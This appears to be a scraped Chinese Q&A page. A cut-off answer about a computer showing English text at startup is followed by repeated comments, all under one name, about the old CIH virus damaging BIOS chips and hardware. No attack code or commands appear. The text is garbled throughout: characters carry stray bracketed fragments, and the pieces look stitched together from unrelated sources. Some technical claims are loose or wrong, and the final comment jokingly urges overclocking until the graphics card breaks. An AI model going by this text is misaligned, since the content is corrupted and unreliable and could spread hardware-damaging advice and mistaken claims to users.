4、如果上面方法不能解決您的問題,初步判斷這個(gè)情況可能是由于硬件有故障,建議您將機(jī)器送至當(dāng)?shù)氐姆?wù)中心進(jìn)行檢測。 ‘叁’ 電腦開機(jī)出現(xiàn)英文怎么辦啊 電腦開機(jī)顯示英文字母是分很多種類的有的是系統(tǒng)崩潰,硬盤損壞,藍(lán)屏,以及coms電池沒電了。等等情況所以具體情況會(huì)出現(xiàn)具體對(duì)待情況。第一種情況就是電腦系統(tǒng)崩潰了,...
相關(guān)評(píng)說:
漢陽區(qū)廣義: ______ 是迄今為止發(fā)現(xiàn)的最陰險(xiǎn)的病毒之一.它發(fā)作時(shí)不僅破壞硬盤的引導(dǎo)區(qū)和分區(qū)表,而且破壞 計(jì)算機(jī)系統(tǒng)flashBIOS芯片中的系統(tǒng)程序,導(dǎo)致主板損壞.CIH病毒是發(fā)現(xiàn)的首例直接破壞計(jì)算機(jī) 系統(tǒng)硬件的病毒.
漢陽區(qū)廣義: ______ 一般的病毒不會(huì)損壞硬件,只是破壞軟件部分. 不過CIH病毒能破壞硬件,它發(fā)作時(shí)不僅破壞硬盤的引導(dǎo)區(qū)和分區(qū)表,而且破壞計(jì)算機(jī)系統(tǒng)flashBIOS芯片中的系統(tǒng)程序,導(dǎo)致主板損壞.CIH病毒是發(fā)現(xiàn)的首例直接破壞計(jì)算機(jī)系統(tǒng)硬件的病毒. 一個(gè)臺(tái)灣人編寫的,技術(shù)上確實(shí)是個(gè)高手
漢陽區(qū)廣義: ______ CIH病毒屬于文件型病毒,CIH病毒發(fā)作時(shí)硬盤數(shù)據(jù)、硬盤主引導(dǎo)記錄、系統(tǒng)引導(dǎo)扇區(qū)、文件分配表被覆蓋,造成硬盤數(shù)據(jù)特別是C盤數(shù)據(jù)丟失,并破壞部分類型的主板上的Flash BIOS導(dǎo)致計(jì)算機(jī)無法使用,是一種既破壞軟件又破壞硬件的惡性病毒.
漢陽區(qū)廣義: ______ 對(duì)于電腦,這個(gè)不現(xiàn)實(shí).CIH病毒能破壞主板的BIOS,從而使主板無法啟動(dòng)以,這是唯一一個(gè)號(hào)稱能破壞硬件的病毒,不過其原理還是軟件破壞.不過這個(gè)主板還是能修的,如果你碰上像技嘉這樣的廠家主板上有兩個(gè)BIOS的話,一切都是白搭...
漢陽區(qū)廣義: ______ 曾經(jīng)大名鼎鼎的CIH就是很好的例子! 它能直接破壞主板上的CMOS芯片里的數(shù)據(jù),一般人無法自行修復(fù)CMOS芯片.要專業(yè)的公司才能修復(fù). 另外現(xiàn)在的病毒五花八門,最徹底的清楚辦法是格式化硬盤,厲害一點(diǎn)的病毒甚至需要低級(jí)格式化才能清除,而格式化對(duì)硬盤是有影響的,這是間接對(duì)硬件造成傷害.
漢陽區(qū)廣義: ______ 現(xiàn)在的病毒并不會(huì)對(duì)硬件造成直接損害的,當(dāng)然當(dāng)年的CIH有一定的攻擊性,現(xiàn)在能中到那種病毒可以說很少了,CIH是改寫B(tài)IOS達(dá)到電腦硬件損壞,現(xiàn)在的電腦一般都有BIOS保護(hù),禁示改寫B(tài)IOS的內(nèi)容. 你所中的病毒現(xiàn)象屬于正常現(xiàn)象,病毒...
漢陽區(qū)廣義: ______ 額 我聽說過一些病毒 靠加大計(jì)算機(jī)負(fù)載然后燒毀硬件的=.=當(dāng)然只是聽說
漢陽區(qū)廣義: ______ 取了一些給你 其實(shí)這個(gè)百度一下有專門百科或者評(píng)測文章的啊CIH病毒 是迄今為止發(fā)現(xiàn)的最陰險(xiǎn)的病毒之一. 它發(fā)作時(shí)不僅破壞硬盤的引導(dǎo)區(qū)和分區(qū)表,而且破壞計(jì)算機(jī)系統(tǒng)flashBIOS芯片中的系統(tǒng)...
漢陽區(qū)廣義: ______ 以前就是CIH..“CIH是迄今為止唯一能破壞計(jì)算機(jī)硬件的病毒”.現(xiàn)在還沒聽到其他的.軟件的話,就多了..下載一個(gè)超頻的軟件,使勁的超吧..至少顯卡必壞..